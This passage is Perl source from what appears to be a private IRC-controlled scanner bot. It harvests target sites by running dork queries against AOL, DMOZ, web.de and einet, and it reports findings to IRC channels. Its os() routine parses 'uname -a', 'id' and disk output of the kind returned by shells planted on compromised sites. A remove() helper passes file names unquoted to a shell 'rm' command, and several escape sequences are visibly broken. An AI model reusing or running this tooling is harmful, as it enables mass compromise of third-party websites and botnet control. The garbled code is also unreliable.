            my $aollink = ("http://search.aol.com/aol/search?query=".key($key)."&page=".$p."&nt=SG2&do=Search&invocationType=comsearch30&clickstreamid=3154480101243260576"); 
            my $re = query($aollink); 
            while($re =~ m/<p class="durl find\" property=\"f:durl\">(.+?)\n-/g) { 
                my $tsite = $1; 
                my @grep = links($tsite); 
                open( $filez, ">>", $name ); 
                foreach my $tsite (@grep) { 
                    print $filez "$tsiten"; 
                } 
                close $filez; 
                push( @lst, @grep ); 
            } 
        } 
    return @lst; 
    } 
}      

sub dmoz () { 
    my $key = $_[0];  
    my $name = $_[1]; 
    my @lst; 
    my $dmtest = ("http://search.dmoz.org/cgi-bin/search?search=".key($key)); 
    my $dmq = query($dmtest); 
    if ($dmq =~ /No <b><a href="http:\/\/dmoz.org\/\">Open Directory Project<\/a><\/b> results found/){ 
        return @lst; 
    } 
    elsif ($dmq =~ /of (.+?)\)<p>/){ 
        my $ftot = $1; 
        if ($ftot <= 20) { 
            $max = 1; 
        } 
        else { 
            my $to = $ftot / 20; 
            if ($to =~ /(.+).(.+?)/){ 
                $uik = $1 * 20; 
                $max = $uik +1; 
            } 
            elsif ($to =~ /[0-9]/) { 
                my $to--; 
                my $rej = $to * 20; 
                $max = $rej +1; 
            } 
        }    
    }     
    for ($p=1;$p<=$max;$p += 20){ 
        my $dmozlink = ("http://search.dmoz.org/cgi-bin/search?search=".key($key)."&utf8=1&locale=it_it&start=".$p); 
        my $re = query($dmozlink); 
        if ($re =~ /">Next<\/a>/) { 
            while($re =~ m/<a href=\"http:\/\/(.+?)\"/g) { 
                my $tsite = $1; 
                if ($tsite !~ /dmoz/){ 
                    my @grep = links($tsite); 
                    open( $filez, ">>", $name ); 
                    foreach my $tsite (@grep) { 
                        print $filez "$tsiten"; 
                    } 
                    close $filez; 
                    push( @lst, @grep ); 
                } 
            } 
        } 
    } 
    return @lst; 
} 

sub webde () { 
    my $key = $_[0];  
    my $name = $_[1]; 
    my @lst; 
    for $p(1..50){ 
        my $webdelink = ("http://suche.web.de/search/web/?pageIndex=".$p."&su=".key($key)."&y=0&x=0&mc=suche@web@navigation@zahlen.suche@web"); 
        my $re = query($webdelink); 
        while($re =~ m/href="http:\/\/(.+?)\">/g) { 
            my $tsite = $1; 
            if ($tsite !~ /\/search\/web|web.de|\" class=\"neww\"/){ 
                my @grep = links($tsite); 
                open( $filez, ">>", $name ); 
                foreach my $tsite (@grep) { 
                    print $filez "$tsiten"; 
                } 
                close $filez; 
                push( @lst, @grep ); 
            } 
        } 
    } 
    return @lst; 
} 

sub einet () { 
    my $key = $_[0];  
    my $name = $_[1]; 
    my @lst; 
    my $einetest = ("http://www.einet.net/view/search.gst?p=1&k=".key($key)."&s=0&submit=Search"); 
    my $einet3st = query($einetest); 
    if ($einet3st =~ /<span class=nPage>Page 1 ofs+(.+?)</span>/){ 
        my $totz = $1; 
        for ($p=1;$p<=$totz;$p++){ 
            my $einetlink = ("http://www.einet.net/view/search.gst?p=".$p."&k=".key($key)."&s=0&submit=Search"); 
            my $re = query($einetlink); 
            while($re =~ m/<span class=url2>s+(.+?)</span>/g) { 
                my $tsite = $1; 
                my @grep = links($tsite); 
                open( $filez, ">>", $name ); 
                foreach my $tsite (@grep) { 
                    print $filez "$tsite\n"; 
                } 
                close $filez; 
                push( @lst, @grep ); 
            } 
        } 
    } 
    return @lst; 
} 


sub remove() { 
    my $file = $_[0]; 
    system("rm $file"); 
} 

sub clean () { 
    $dork = $_[0]; 
    if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) { 
        writ1("15,1[+] 4,1Cleaning Dork from Google Search Keys !"); 
        $dork =~ s/^inurl://g; 
        $dork =~ s/^allinurl://g; 
        $dork =~ s/^intext://g; 
        $dork =~ s/^allintext://g; 
        $dork =~ s/^intitle://g; 
        $dork =~ s/^allintitle://g; 
    } 
    return $dork; 
} 

sub key() { 
    my $dork = $_[0]; 
    $dork =~ s/ /+/g; 
    $dork =~ s/:/%3A/g; 
    $dork =~ s///\%2F/g; 
    $dork =~ s/&/%26/g; 
    $dork =~ s/"/\%22/g; 
    $dork =~ s/,/\%2C/g; 
    $dork =~ s/\\/\%5C/g; 
    return $dork; 
} 

sub links() { 
    my @l; 
    my $link = $_[0]; 
    my $host = $_[0]; 
    my $hdir = $_[0]; 
    $hdir =~ s/(.*)\/[^\/]*$/\1/; 
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; 
    $host .= "/"; 
    $link .= "/"; 
    $hdir .= "/"; 
    $host =~ s/\/\//\//g; 
    $hdir =~ s/\/\//\//g; 
    $link =~ s/\/\//\//g; 
    push( @l, $link, $host, $hdir ); 
    return @l; 
} 

sub query() { 
    $link = $_[0]; 
    my $req = HTTP::Request->new( GET => $link ); 
    my $ua = LWP::UserAgent->new(); 
    $ua->timeout(3); 
    my $response = $ua->request($req); 
    return $response->content; 
} 

sub query1() { 
    my $url = $_[0]; 
    my $host  = $url; 
    my $query = $url; 
    $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; 
    $query =~ s/$host//; 
    eval { 
        my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return; 
        print $sock "GET $query HTTP/1.0rnHost: $hostrnAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; 
        my @r = <$sock>; 
        $page = "@r"; 
        close($sock); 
    }; 
    return $page; 
} 

sub os() { 
    my $site = $_[0]; 
    my $ret  = &query($site); 
    while ( $ret =~ m/<br>uname -a:(.+?)\<br>/g ) { 
        $un = $1; 
    } 
    while ( $ret =~ m/<br>os:(.+?)\<br>/g ) { 
        $os = $1; 
    } 
    while ( $ret =~ m/<br>id:(.+?)\<br>/g ) { 
        $id1 = $1; 
    } 
    while ( $ret =~ m/<br>free:(.+?)\<br>/g ) { 
        $free = $1; 
    } 
    while ( $ret =~ m/<br>used:(.+?)\<br>/g ) { 
        $used = $1; 
    } 
    while ( $ret =~ m/<br>total:(.+?)\<br>/g ) { 
        $all = $1; 
    } 
} 

sub unici { 
    my @unici = (); 
    my %visti = (); 
    foreach my $elemento (@_) { 
        $elemento =~ s/\/+/\//g; 
        next if $visti{$elemento}++; 
        push @unici, $elemento; 
    } 
    return @unici; 
} 
       

sub writ1 () { 
    my $cont = $_[0]; 
    print $c0n "PRIVMSG $chan1 :$cont\n"; 
} 

sub writ2 () { 
    my $cont = $_[0]; 
    print $c0n "PRIVMSG $chan2 :$cont\n"; 
} 

sub priv8 () { 
    my $cont = $_[0]; 
    print $c0n "PRIVMSG $chan2 :$cont\n"; 
} 


## PRIVATE 
## Coded by watchdog